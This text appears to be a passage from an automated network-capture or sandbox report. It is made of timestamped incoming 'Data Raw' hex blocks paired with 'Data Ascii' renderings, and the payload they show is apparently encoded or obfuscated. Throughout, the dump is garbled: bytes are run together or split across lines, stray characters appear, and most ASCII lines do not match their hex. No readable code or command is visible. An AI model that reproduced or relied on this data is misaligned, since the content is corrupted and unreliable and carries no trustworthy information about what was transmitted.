70 4d 20 4d 70 20 71 4a 4f 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 4f 70 20 70 20 57 71 20 6d 4d 20 57 4f 20 44 4f 20 58
4a 20 71 4f 4f 20 4a 70 4d 20 71 4f 45 20 71 4f 70 20 71 44 58 20 4a 6d 20 58 71 20 57 6d 20 58 6d 20 71 4a 4f 20 4d 70
2071717120 7171702057 4f 20 57 58 20 44 57 20 57 70
Data Ascii: D XJ WO Wm Mm XX MM ggqO gOm JOm mM Jm Wm Xm qOW DM qOm qgJ DE mX WO Wm qqg gqgm qqE
qJm gqqW Mp gWp Wg Wm XJ qOgq JmX Wp qgqd WO mM Jp pJ pX geJ ggm qOM O gmm pM Mp qJO Xm gqgm qJE qOp
p Wg mM WO DO XJ qOO JpM gOE qOp gDX Jm Xg Wm Xm gqJO Mp qqq gqgp WO WX DW Wp

2021-10-29 18:29:49 UTC 92 IN Data Raw: 45 4f 20 71 71 4a 20 71 70 4d 20 71 4a 4f 20 44 45 20 57 4f 20 6d 58 20 6d 71 20 44 4a 20 71 4a 45 20 57 4d
2071712071 4a7020 7171702057 4f 20 57 42 20 4a 70 20 4a 45 20 44 4520 58 6d 20 7171 20 71 4a 71 20 71 71
70 2057 4f 20 57 4a 20 4a 4f 6d 20 6d 58 20 45 4a 20 71 71 4a 20 71 71 45 20 71 4f 45 20 70 20 6d 71 20 6d 4d 20 57 4f
2044 4f 20 71 71 70 20 4a 6d 4a 20 4d 4d 20 71 4f 58 20 71 71 4a 20 57 6d 20 4a 6d 20 6d 57 20 57 6d 20 58 6d 20 58
4d 20 58 4f 20 44 6d 20 71 4a 6d 20 4a 4f 20 70 6d 20 6d 58 20 4a 4f 4f 20 44 57 20 44 57 20 71 71 45 20 71 4f 4d 20 71
4f 45 20 57 58 20 4a 45 20 70 44 20 6d 58 20 71 45 4f 20 71 71 44 20 71 4f 4d 20 71 71 71 20 71 71 4a 20 57 4a 20 44 45
20 6d 45 20 57 57 20 58 6d 20 71 4a 4f 20 4d 70 20 45 45 20 71
Data Ascii: EO qgJ gpM qJO DE WO mX mq DJ gJE WM qg gJp qgp WO WJ Jp JE DE Xm qg gqJg gqgp WO WJ JOm mX
EJ qgJ qqE qOE p mg mM WO DO qgp JmJ MM gOX ggqd Wm Jm mW Wm Xm XM XO Dm gJm JO pm mX JOO DW DW
qgE gOM qOE WX JE pD mX qEO qgD qOM qgq gqJ WJ DE mE WW Xm gJO Mp EE q

2021-10-29 18:29:49 UTC 95 IN Data Raw: 71 4a 45 20 4a 4f 45 20 58 57 20 70 45 20 70 4d 20 70 58 20 70 4f 20 4a 70 4a 20 71 71 6d 20 71 71 45 20 71
4f 70 20 4a 71 4f 20 4a 70 20 6d 4f 20 70 45 20 70 6d 20 71 4a 6d 20 4a 4f 44 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 71
6d 6d 20 4a 71 20 6d 70 20 70 4a 20 44 6d 20 4d 4f 20 4a 4f 71 20 71 4f 4d 20 71 71 4a 20 57 44 20 71 6d 44 20 4a 44 20
7170 4d 20 58 6d 20 71 71 6d 20 71 4a 45 20 44 4d 20 6d 4d 20 57 71 20 6d 58 20 57 44 20 71 58 4a 20 4570 20 71 71
57 2071 71 45 20 71 4f 57 20 71 6d 20 6d 45 20 6d 4d 20 57 4f 20 57 4f 20 6d 45 20 6d 58 20 71 71 44 20 71 4f 4d 20 71
4a 4a 20 45 44 20 6d 57 20 57 71 20 57 6d 20 58 4f 20 71 4a 4a 20 4d 4d 20 71 4a 70 20 70 20 71 71 70 20 6d 4d 20 57
4f 20 44 4f 20 44 44 20 71 4f 4f 20 44 20 6d 44 20 71 71 70 20
Data Ascii: JE JOE XW pE pM pX pO JpJ qgm qqE qOp JgO Jp mO pE pm qJm JOD gqE qOM qJJ gmm Jg mp pJ Dm
MO JOq qOM qgJ WD gmD JD gpM Xm gqgm gJE DM mM Wq mX WD gXJ Ep qqW ggE gOW gm mE mM WO WO mE
mX qqD qgOM gJJ ED mW Wq Wm XO gJJ MM qJp p ggp mM WO DO DD qOO D mD qgp

2021-10-29 18:29:49 UTC 100 IN Data Raw: 20 45 45 20 6d 58 20 6d 4d 20 44 4f 20 58 6d 20 71 71 6d 20 71 71 44 20 71 71 71 20 71 71 4a 20 4a 58 20 6d
5820 71 4f 58 20 71 58 44 20 58 6d 20 71 4a 4f 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 57 4f 20 57 4f 20 71 45
2058 6d 20 70 20 4a 70 45 20 71 4f 4d 20 71 4a 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 44 20 71 71 6d 20 58 57 20
71 4f 4d 20 4a 6d 6d 20 71 57 4f 20 6d 58 20 57 44 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20
57 4a 20 6d 58 20 71 57 4a 20 71 70 6d 20 58 6d 20 71 71 70 20 71 4a 45 20 71 4f 4d 20 71 71 4a 20 57 71 20 6d 70 20
4a 2057 71 20 58 6d 20 71 44 57 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 71 4a 71 20 6d 58 20 57 4f 20 70 4d 20 70 4d
20 4a 71 44 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 57 44 20 44
Data Ascii: EE mX mM DO Xm ggm ggD gqgq ggJ JX mX gOX gXD Xm gJO qqE gOM ggJ WO WO WO gE Xm p JpE qO
M gJJ WO mX WO Wm XD ggm XW qOM Jmm gWO mX WD Wm Xm ggm qgqE qOM qgJ WJ mX gWJ gpm Xm qgp qJE
qOM qqJ Wg mp J Wg Xm gDW gqE qOM qqJ qJg mX WO pM pM JgD qgE qOM gJJ WD D

2021-10-29 18:29:49 UTC 104 IN Data Raw: 6d 20 57 4f 20 6d 58 20 57 4f 20 71 57 20 58 6d 20 71 71 6d 20 71 71 45 20 44 6d 20 71 71 70 20 57 4f 20 6d
58 20 58 6d 20 57 57 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58
6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4a 20 6d 58 20 57 4f 20 57 6d 20 57 442071 7157 20 71 71
45 20 71 4f 4d 20 4a 20 57 71 20 6d 58 20 57 4f 20 57 70 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 70 20 71 71 4a 20 57
4f 20 6d 4d 20 6d 71 20 44 20 58 71 20 71 71 6d 20 4a 6d 4f 20 71 71 71 20 71 71 4a 20 57 4f 20 71 4a 45 20 57 4f 20 57
6d 20 44 4d 20 71 20 4a 71 4f 20 71 4f 4d 20 71 71 4a 20 57 44 20 57 58 20 71 58 20 71 58 45 20 58 6d 20 71 71 6d 20
71 71 45 20 4a 4a 6d 20 6d 4a 20 57 4f 20 6d 58 20 57 71 20 71
Data Ascii: m WO mX WO gW Xm ggm gqqE Dm ggp WO mX Xm WW Xm ggm gJE qOM ggJ WO mX WO Wm Xm qgm
qgE qOM ggJ WJ mX WO Wm WD qqW ggE qOM J Wg mX WO Wp Xm gqgm qgE qOp qgJ WO mM mq D Xq ggm JmO
qaq qgqJ WO gJE WO Wm DM g JgO qOM qgJ WD WX gX gXE Xm ggm ggE JJm mJ WO mX Wq q

2021-10-29 18:29:49 UTC 108 IN Data Raw: 20 57 6d 20 58 6d 20 71 71 4a 20 71 71 45 20 70 44 20 71 71 4a 20 71 45 58 20 4a 6d 4d 20 57 4f 20 44 4f 20
58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 6d 20 57 4f 20 71 71 6d 20 57 4f 20 71 44 57 20 71 4a 4d 20 71 71 6éd
2071 4a 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 4a 20 71 71 6d 20 71 45 6d 20 71 6d 4f 20
7171 4a 20 6d 4d 20 57 58 20 57 4f 20 57 6d 20 58 57 20 71 4f 57 20 44 4d 20 71 4f 6d 20 71 71 4a 20 71 4f 58 20 6d 4d
2057 4f 2057 6d 20 6d 20 71 71 6d 20 71 71 45 20 71 4a 6d 20 70 20 71 6d 4d 20 6d 58 20 57 4f 20 44 4f 20 4d 6d 20 71
4f 4d 20 45 4f 20 4a 4a 6d 20 6d 4a 20 57 4f 20 6d 58 20 57 71 20 71 4d 20 71 70 4a 20 71 44 57 20 71 71 45 20 71 4f 4d
2071 71 44 20 4a 44 20 45 20 57 4f 20 57 6d 20 4d 6d 20
Data Ascii: Wm Xm qqJ qqE pD qqJ gEX JmM WO DO Xm ggm qqE qgOM gqgm WO ggm WO gDW gJM ggm gJE qOM
gqgJ WO mX WO Wm XJ ggm gEm gmO ggJ mM WX WO Wm XW qOW DM gqOm ggJ gOX mM WO Wm m ggm qqE gJm
p gmM mX WO DO Mm qOM EO JJm mJ WO mX Wq qM gpJ qDW qgE qOM ggD JD E WO Wm Mm

2021-10-29 18:29:49 UTC 112 IN Data Raw: 6d 20 71 4a 4f 20 4a 44 20 71 58 58 20 71 71 4a 20 57 4f 20 57 58 20 57 4a 20 6d 71 20 4d 4f 20 4a 57 57 20
6d 45 20 71 4f 4d 20 71 71 4a 20 57 71 20 4a 71 20 4a 4a 44 20 4a 6d 57 20 58 6d 20 71 71 6d 20 71 71 70 20 44 4d 20
45 71 20 57 4f 20 6d 58 20 57 44 20 44 4d 20 71 4f 58 20 71 71 6d 20 71 71 45 20 71 4f 70 20 70 71 20 4a 4a 45 20 6d 58
20 57 4f 20 44 4f 20 70 4d 20 4a 71 70 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 57 45 20 57 70 20 70 4f 20 44 4a 20 58 71
20 4a 57 4a 20 58 4d 20 71 4f 57 20 71 71 44 20 6d 4d 20 71 20 6d 58 20 6d 4d 20 71 4a 44 20 71 71 6d 20 71 71 4d 20
44 4d 20 71 44 4a 20 57 4f 20 6d 58 20 57 44 20 57 58 20 44 44 20 71 4a 45 20 45 45 20 71 4a 6d 20 71 71 70 20 57 4f 2
0 6d 58 20 57 58 20 44 70 20 4a 4f 44 20 4d 45 20 71 71 70 20 71
Data Ascii: m qJO JD gXX qgqJ WO WX WJ mgq MO JWW mE qOM qqJ Wq Jq JID JmW Xm qgm qgp DM Eq WO mX WD
DM qOX qgm qgE qOp pg JJE mX WO DO pM Jgp qqE qOM gJJ WE Wp pO DJ Xq JWJ XM qOW qgD mM g mX mM
qJD gqgm gqgM DM gDJ WO mX WD WX DD qJE EE gJm gqgqp WO mX WX Dp JOD ME qgp q

2021-10-29 18:29:49 UTC 116 IN Data Raw: 20 58 44 20 71 71 70 20 58 20 4d 6d 20 71 71 4a 20 57 4f 20 57 4a 20 4a 6d 20 6d 4f 20 58 44 20 4d 20 44 57
20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 44 20 71 44 20 57 4a 20 58 45 20 71 57 20 44 57 20 71 4f 4d 20 71 71 4a 20 57
6d 20 4a 44 20 6d 6d 20 57 4a 20 6d 45 20 45 71 20 71 71 45 20 71 4f 4d 20 71 71 44 20 4a 6d 20 71 58 20 6d 58 20 57
7020 6d 7120 45 71 20 71 71 45 20 71 4f 4d 20 71 71 44 20 4a 6d 20 6d 44 20 6d 58 20 45 45 20 4d 58 20 71 71 6d 20 7
171 45 20 71 4f 57 20 4d 4f 20 71 44 20 57 4f 20 6d 4d 20 45 57 20 4d 58 20 71 71 6d 20 71 71 45 20 71 4f 57 20 4d 4f 20
6d 6d 20 57 4f 20 45 70 20 71 20 58 6d 20 71 71 6d 20 71 71 70 20 45 71 20 58 4a 20 6d 58 20 57 71 20 45 4d 20 71 20 5
86d2071716d20 7171702045 71207171 4f 20 6d 58 20 45
Data Ascii: XD qgp X Mm ggqJ WO WJ Jm mO XD M DW qOM gqgqJ Wm JD gD WJ XE qW DW qOM qgJ Wm JD mm WJ
mE Eq qqE qOM ggD Jm gX mX Wp mq Eq qqE gOM qgD Jm mD mX EE MX ggm qqE gOW MO gD WO mM EW MX
qgm gqgqE gOW MO mm WO Ep g Xm ggm qgp Eq XJ mX Wq EM g Xm ggm qgp Eq qgO mX E
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2021-10-29 18:29:49 UTC 120 IN Data Raw: 20 71 71 4a 20 57 4f 20 57 58 20 4a 6d 20 6d 4f 20 58 44 20 4d 20 4d 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a
4420 71 44 20 57 4a 20 58 45 20 71 57 20 4d 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 44 20 6d 6d 20 57 4a 20 6d 45 20
71572071 71452071 4f 4d 20 71 71 44 20 4a 6d 20 71 58 20 6d 58 20 57 70 20 6d 71 20 71 57 20 71 71 45 20 71 4f
4d 20 71 71 44 20 4a 6d 20 6d 44 20 6d 58 20 45 45 20 6d 4a 20 71 71 6d 20 71 71 45 20 71 4f 57 20 4d 4f 20 71 44 20 5
7 4f 20 6d 4d 20 45 57 20 6d 4a 20 71 71 6d 20 71 71 45 20 71 4f 57 20 4d 4f 20 6d 6d 20 57 4f 20 4a 44 20 58 6d 20 58 6
d2071716d20 71 4a 452045 71 20 71 71 4f 20 6d 58 20 45 57 20 45 45 20 57 6d 20 58 6d 20 71 71 58 20 4d 57 20 45
4d 20 71 71 6d 20 6d 4d 20 45 45 20 45 45 20 57 6d 20 58 6d 20 71
Data Ascii: qgJ WO WX Jm mO XD M M gOM ggJ Wm JD gD WJ XE gW M qOM ggqJ Wm JD mm WJ mE qW gqqE qgOM
qgD Jm gX mX Wp mg gW gqqE qOM ggqD Jm mD mX EE mJ qgm qqE qOW MO gD WO mM EW mJ gqgm gqqE qOW MO
mm WO JD Xm Xm qgm gqJE Eq gqO mX EW EE Wm Xm ggX MW EM qgm mM EE EE Wm Xm q

2021-10-29 18:29:49 UTC 124 IN Data Raw: 4a 4f 20 71 44 4d 20 71 45 4d 20 71 71 57 20 4a 4f 20 4a 70 58 20 57 4f 20 70 44 20 58 44 20 4d 4f 20 4a 71
572071 4f58 20 71 71 422057 44 20 71 420 71 4a 4f 20 4a 4f 71 20 71 45 71 20 71 6d 71 20 71 45 71 20 4d 4d 20 4d
58 20 6d 58 20 4a 4f 44 20 70 44 20 71 71 6d 20 58 6d 20 71 71 6d 20 71 71 4f 20 4a 20 71 4a 70 20 57 4f 20 6d 58 20 57
4420 4a 70 6d 20 58 44 20 71 20 4a 70 58 20 71 4f 58 20 71 71 4a 20 57 4a 20 70 57 20 57 58 20 70 4d 20 4d 4a 20 4d
4f 20 4d 20 71 4f 4d 20 71 71 4a 20 57 44 20 57 57 20 4d 70 20 71 45 45 20 58 6d 20 71 71 6d 20 71 4a 45 20 4a 20 4f 20
57 4f 20 6d 58 20 57 44 20 58 4d 20 4a 6d 44 20 71 71 57 20 71 71 45 20 71 4f 45 20 4d 45 20 57 58 20 6d 45 20 4a 4f 20
71584520 71 6d 20 71 71 6d 20 71 71 45 20 71 4f 58 20 58
Data Ascii: JO gDM gEM ggqW JO JpX WO pD XD MO JgW qOX qgJ WD gO gJO JOq qEq gmg gEq MM MX mX JOD pD
qgm Xm qgm qqO J qJp WO mX WD Jpm XD q JpX qOX qgqd WJ pW WX pM MJ MO M qOM gqgJ WD WW Mp gEE Xm
qgm gJE J O WO mX WD XM JmD qgW gqE qOE ME WX mE JO gXE gm ggm gqqE qOX X

2021-10-29 18:29:49 UTC 127 IN Data Raw: 70 4f 20 57 6d 20 71 70 4f 20 45 58 20 71 71 44 20 71 71 45 20 45 45 20 71 71 44 20 71 70 6d 20 6d 4a 20 4a
4d 20 57 6d 20 6d 71 20 45 4f 20 71 71 45 20 71 4f 4d 20 71 71 58 20 57 4f 20 4a 6d 57 20 4a 4d 20 45 4f 20 71 4a 4f 20
7171442071 71 45 20 45 71 20 58 4a 20 44 44 20 4a 58 20 57 4a 20 57 6d 20 71 70 6d 20 71 71 70 20 57 20 44 57 20
717158 20 57 4f 20 71 6d 4f 20 57 4a 20 45 4f 20 71 4a 4f 20 71 71 44 20 71 71 45 20 4a 70 58 20 58 57 20 71 6d 45 20
57 20 44 4f 20 57 6d 20 4a 57 4f 20 44 45 20 71 6d 57 20 45 4f 20 71 71 58 20 57 4f 20 71 4d 58 20 71 20 45 58 20 71 71
4f 20 71 71 44 20 71 71 45 20 4a 6d 6d 20 58 4f 20 44 44 20 4a 58 20 44 4f 20 57 6d 20 71 58 57 20 71 4f 4d 20 71 6d 57
20 45 4f 20 71 71 58 20 57 4f 20 71 57 70 20 4a 20 71 4d 58
Data Ascii: pO Wm gpO EX qqD gqqE EE qgD gpm mJ JM Wm mq EO qgE qOM gqgX WO JmW JM EO gJO qgD qqE Eq X
J DD JX WJ Wm gpm gqgp W DW gqgX WO gmO WJ EO qJO qqD qgE JpX XW gmE W DO Wm JWO DE gqmW EO qgX
WO gMX q EX qgqO qgD gqE Jmm XO DD JX DO Wm gXW qOM gmW EO qgX WO qWp J gMX

2021-10-29 18:29:49 UTC 132 IN Data Raw: 20 57 4f 20 6d 4d 20 57 71 20 57 6d 20 58 6d 20 71 58 57 20 45 70 20 71 4f 4d 20 71 71 4a 20 4d 57 20 6d 58
2057 4d 20 57 6d 20 4a 71 70 20 71 71 6d 20 4a 6d 6d 20 71 4f 4d 20 4d 44 20 57 4f 20 71 58 6d 20 71 45 20 57 6d 20
58 6d 20 4d 71 20 71 71 45 20 71 4f 4f 20 71 71 4a 20 71 58 70 20 6d 58 20 71 45 4d 20 57 57 20 44 58 20 71 71 6d 20
44 6d 20 6d 44 20 71 71 4a 20 57 4f 20 4a 57 20 57 4f 20 44 71 20 58 6d 20 4a 6d 4d 20 71 71 45204a 70442071717
020 70 6d 20 6d 58 20 71 58 6d 20 45 20 58 6d 20 71 71 6d 20 4d 4a 20 71 4f 4d 20 71 4a 70 20 57 4f 20 71 58 58 20 57
4f 20 71 58 70 20 58 57 20 4d 58 20 71 71 45 20 71 4d 71 20 58 58 20 57 4f 20 6d 58 20 4a 45 20 57 6d 20 4d 57 20 71
71 6d 20 4a 6d 58 20 71 4f 4d 20 4a 6d 71 20 57 71 20 70 4a 20 57 4f
Data Ascii: WO mM Wg Wm Xm gXW Ep qOM gqgqJ MW mX WM Wm Jgp ggm Jmm qgOM MD WO gXm gE Wm Xm Mq
qqE qO0 qgJ gXp mX gEM WW DX ggm Dm mD qgqJ WO JW WO Dg Xm JmM qgE JpD gqgp pm mX gXm E Xm qgm MJ
qOM gJp WO gXX WO gXp XW MX qqE gMg XX WO mX JE Wm MW ggm JmX qOM Jmq Wq pJ WO

2021-10-29 18:29:49 UTC 136 IN Data Raw: 6d 20 71 4f 20 71 4a 70 20 71 71 45 20 71 4f 4d 20 6d 71 20 57 71 20 4a 4f 20 57 71 20 71 4d 20 58 44 20 4d
4520 7171 44 20 71 4f 4d 20 71 71 4a 20 45 71 20 44 70 20 57 4f 20 57 6d 20 71 70 20 71 71 57 20 58 71 20 71 4f 58 20
5857 20 6d 58 20 70 57 20 57 71 20 57 6d 20 58 6d 20 4a 6d 44 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 71 4f 45 20 6d
4d 20 4a 4a 20 57 57 20 71 71 70 20 71 71 4a 20 71 4f 4a 20 71 4f 58 20 71 71 4a 20 57 4f 20 57 70 20 57 57 20 57 6d 20
58 6d 20 6d 70 20 71 71 44 20 45 70 20 71 71 70 20 4a 70 20 57 4f 20 70 70 20 57 57 20 58 6d 20 71 71 6d 20 4a 70 71
20 4d 58 20 71 71 4a 20 57 4f 20 71 4f 57 20 57 71 20 71 58 20 58 57 20 58 45 20 71 71 4d 20 71 4a44 20717170205
7 4f 20 6d 58 20 4a 6d 4a 20 57 6d 20 58 6d 20 71 71 6d 20 6d 6d
Data Ascii: m qO gqJp qqE qOM mq Wq JO Wq gM XD ME qqD qOM qqJ Eq Dp WO Wm gp qgqW Xqg qOX XW mX pW Wq
Wm Xm JmD qgE qOM ggJ gOE mM JJ WW qqgp ggJ gOJ gOX ggqJ WO Wp WW Wm Xm mp qgD Ep ggp Jp WO pp WW
Xm ggm Jpg MX qgqJ WO qOW Wq gX XW XE qgM gJD ggp WO mX JmJ Wm Xm ggm mm

2021-10-29 18:29:49 UTC 140 IN Data Raw: 6d 70 20 6d 44 20 71 6d 6d 20 58 6d 20 71 71 57 20 71 71 45 20 6d 70 20 71 4f 58 20 57 4a 20 70 70 20 57 71
2057 6d 20 6d 6d 20 71 71 71 20 71 4f 20 71 4a 6d 20 71 71 70 20 57 4f 20 71 44 4a 20 6d 45 20 71 6d 6d 20 58 6d 20
4457207171 44 20 4a 4a4a 20 71 4a 44 20 71 58 4a 20 70 70 20 71 20 57 57 20 71 4a 20 4d 58 20 4a 57 4a 20 71 4a
6d 20 44 45 20 57 71 20 44 6d 20 70 58 20 71 45 58 20 44 4d 20 44 57 20 71 71 44 20 71 71 420 71 71 4d 20 71 58 58 2
0707020712057 57 20 71 45 6d 20 71 4a 45 20 4a 70 4f 20 71 4a 6d 20 44 45 20 57 71 20 71 4d 44 20 57 44 20 71 45
6d 20 44 4d 20 44 57 20 71 71 44 20 4a 70 71 20 71 4a 44 20 71 45 57 20 70 70 20 71 20 57 57 20 4a 71 70 20 4d 58 20
4a 7157 20 71 4a 6d 20 44 45 20 57 71 20 4a 57 4a 20 44 71 20 71 6d
Data Ascii: mp mD gmm Xm qqW gqE mp qOX WJ pp Wg Wm mm qqq O gJm ggp WO gDJ mE gmm Xm DW qgD JJJ
qJD gXJ pp g WW gJ MX JWJ gJm DE Wq Dm pX gEX DM DW qgD qqO qgM gXX pp g WW gEm gJE JpO gJm DE Wq
gMD WD gEm DM DW qqD Jpg qJD gEW pp g WW Jgp MX JgW gJm DE Wq JWJ Dg gm

2021-10-29 18:29:49 UTC 144 IN Data Raw: 57 20 45 58 20 71 71 70 20 57 4f 20 44 20 57 4f 20 58 4a 20 71 4f 4d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20
7171 4a20 7144 6d 20 6d 58 20 71 4d 57 20 4d 20 71 58 4f 20 4d 45 20 44 45 20 71 4f 4d 20 71 4d 4a 20 71 71 20 6d
58 20 57 4f 20 57 6d 20 58 6d 20 4a 4a 45 20 71 71 45 20 71 57 44 20 45 4d 20 4a 71 70 20 70 57 20 71 4f 20 57 6d 20
71 4a 20 45 4a 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 45 45 20 57 4f 20 71 4f 4d 20 71 4f 57 20 71 70 4f 20
71 4f 4220 58 45 20 71 71 4a 20 71 6d 20 71 71 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 4a 6d 6d 20 71 4f 4d 20 71 4d
57 20 4a 71 20 4a 4f 45 20 70 70 20 4d 20 58 6d 20 71 6d 20 45 58 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 71 45 4d
20 57 6d 20 71 45 4a 20 44 4520 71 71 70 20 71 4a 71 20 6d 58
Data Ascii: W EX qgp WO D WO XJ qOM ggm gqqE qOM qgJ gDm mX gMW M gXO ME DE qOM gMJ gg mX WO Wm Xm
JJE qgE qWD EM Jgp pW gO Wm qJ EJ qqE gOM ggqJ WO gEE WO qOM qOW gpO qOJ XE qgqJ gm qq WO Wm Xm
gqgm Jmm gqOM gMW Jg JOE pp M Xm gm EX qOM ggqJ WO mX gEM Wm gEJ DE qgp qJg mX

2021-10-29 18:29:49 UTC 148 IN Data Raw: 71 45 20 4a 57 71 20 71 71 4a 20 71 71 71 20 6d 44 20 4a 4a 70 20 70 6d 20 71 6d 70 20 71 71 6d 20 71 4f 57
2057 70 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 71 44 4f 20 58 6d 20 71 4a 4d 20 71 71 57 20 71 4a 58 20 71 4f 4f 20
4a70 44 20 6d 58 20 58 20 71 71 4f 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 4a 70 4f 20 57 4f 20 6d 57 20 70 20
4a 71 4d 20 44 6d 20 71 6d 45 20 71 71 45 20 70 70 20 6d 4f 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 71 4d 6d 20 71 71 6d
207157 20 6d 6d 20 71 57 45 20 70 58 20 4a 71 4a 20 57 4f 20 71 4f 6d 20 71 4a 20 71 71 6d 20 71 71 45 20 71 4f 4d 20
7171 4a20 71 44 6d 20 6d 58 20 71 71 4f 20 6d 4d 20 71 58 57 20 71 4f 4a 20 71 6d 44 20 71 4f 4d 20 6d 20 71 4f 44 20
6d 58 20 57 4f 20 57 6d 20 58 6d 20 4a 4a 58 20 71 71 45
Data Ascii: gE JWq qqJ qqq mD JJp pm gmp ggm qOW Wp gqgJ WO mX WO gDO Xm gJM qqW gJX qOO JpD mX X qqO
Xm gqgm gqqE qgOM JpO WO mW p JgM Dm gmE ggE pp mO WO mX WO Wm gMm ggm gW mm qWE pX JgJ WO qOm
gJ qgm qgE qOM qgJ gDm mX ggO mM gXW gqOJ gmD gOM m gOD mX WO Wm Xm JJX qqE
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2021-10-29 18:29:49 UTC 152 IN Data Raw: 71 4a 6d 20 4d 4d 20 70 70 20 71 71 70 20 57 4f 20 71 58 70 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 4a 4a
45 20 71 4f 4d 20 71 6d 45 20 4a 6d 20 70 58 20 70 44 20 71 4a 4f 20 58 57 20 4a 6d 71 20 4a 6d 4a 20 71 4f 4d 20 71 71
4a 20 57 4f 20 6d 58 20 71 44 6d 20 44 4a 20 4a 4d 20 71 4f 45 20 71 4f 6d 20 71 4a 70 20 44 70 20 57 71 20 71 4a 58 20
7158712057 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 4a 57 71 20 71 71 4a 20 4d 44 20 6d 71 20 71 45 20 70 4a 20 4a
4520717157 20717070 204a706d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 71 44 4f 20 58 6d 20 6d 71 20 71 4f 58
20 7158 4f 20 71 4a 57 20 4d 58 20 6d 4d 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 4a 6d 57 20 71 4f 4d 20 4a 4a 57 20
71 58 20 4a 4a 4f 20 58 20 4a 58 20 44 44 20 7057 20 71 71
Data Ascii: gJm MM pp qgp WO gXp WO Wm Xm ggm JJE qOM gmE Jm pX pD qJO XW Jmg JmJ qOM ggqJ WO mX
qDm DJ JM qOE qOm gJp Dp Wq gJX gXq Wm Xm qgm qqE JWqg qgqJ MD mq gE pJ JE qqW gpp Jpm ggqJ WO mX WO
gqDO Xm mg qOX gXO qJW MX mM WO Wm Xm ggm JmW gOM JIW gX JJO X JX DD pW qq

2021-10-29 18:29:49 UTC 156 IN Data Raw: 58 20 57 4f 20 57 6d 20 4a 71 4f 20 71 4a 4a 20 71 45 57 20 71 4f 45 20 4d 44 20 57 4f 20 71 58 45 20 57 71
204a57 4f 20 4a 6d 57 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 71 58 4f 20 57 44 20 71 70 57 20 44 4a 20 4a
4a 4d 20 71 4f 4f 20 4a 6d 4d 20 71 4f 58 20 71 44 6d 20 71 6d 45 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 4a 6d 6d 20 71
4a 57 20 4a 4f 58 20 71 4a 4f 20 71 70 45 20 70 58 20 71 4d 4f 20 57 57 20 71 70 45 20 4a 71 71 20 71 71 45 20 71 4f 4d
2071 71 4a 20 57 4f 20 71 58 4a 20 57 58 20 71 4f 20 4d 57 20 71 58 4f 20 4d 4d 20 4a 4a 6d 20 71 71 70 20 4a 71 57 20
71 6d 57 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 4a 6d 70 20 71 4f 71 20 57 4a 20 57 45 20 4a 4a 6d 20 70 44 20 71
5845205857 20 7157 44204a714a2071 4f4d 20 71 71
Data Ascii: X WO Wm JgO gJJ gEW qOE MD WO gXE Wq JWO JmW ggm qqE qOM ggJ gXO WD gpW DJ JIJM qOO
JmM gOX gDm gmE mX WO Wm Xm Jmm gqJW JOX qJO gpE pX gqMO WW gpE Jgq gqqE qOM gqJ WO gXJ WX qO MW
gXO MM JIm ggp JgW gmW WO Wm Xm gqgm Jmp qOg WJ WE JIm pD gXE XW qwWD JgJ qOM qq

2021-10-29 18:29:49 UTC 159 IN Data Raw: 6d 58 20 57 4f 20 57 6d 20 4a 71 4f 20 71 4a 4a 20 71 58 58 20 71 4a 6d 20 71 4f 45 20 57 4f 20 71 57 44 20
577120 71 6d 4a 20 4a 6d 71 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 71 58 4f 20 57 44 20 4a 4a 45 20 70
4d 20 4a 4d 20 71 71 4d 20 4a 71 45 20 71 4f 58 20 71 45 45 20 71 57 71 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 4a 6d
6d 20 71 4a 57 20 71 71 57 20 71 71 4a 20 71 45 70 20 70 45 20 71 57 4d 20 57 57 20 71 57 45 20 4a 71 57 20 71 71 45
20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 58 4a 20 57 58 20 71 45 20 58 6d 20 4a 71 70 20 4d 44 20 71 4d 4a 20 71 71 70
20 4a 4a 6d 20 71 6d 4d 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 4a 6d 70 20 71 4f 71 20 71 4f 44 20 6d 4d 20 71 45 57
20 70 4d 20 71 57 4a 20 58 57 20 71 44 58 20 4a 4f 58 20 71 4f 4d 20
Data Ascii: mX WO Wm JqO gJJ gXX gJm qgOE WO qWD Wqg gmJ Jmg qgm qqE qOM ggJ gXO WD JJE pM JM qgM JqE
qOX qEE qWg mX WO Wm Xm Jmm gqJW qqW qqJ qEp pE gWM WW gqWE JgW ggE qOM qgJ WO gXJ WX gqE Xm Jqgp
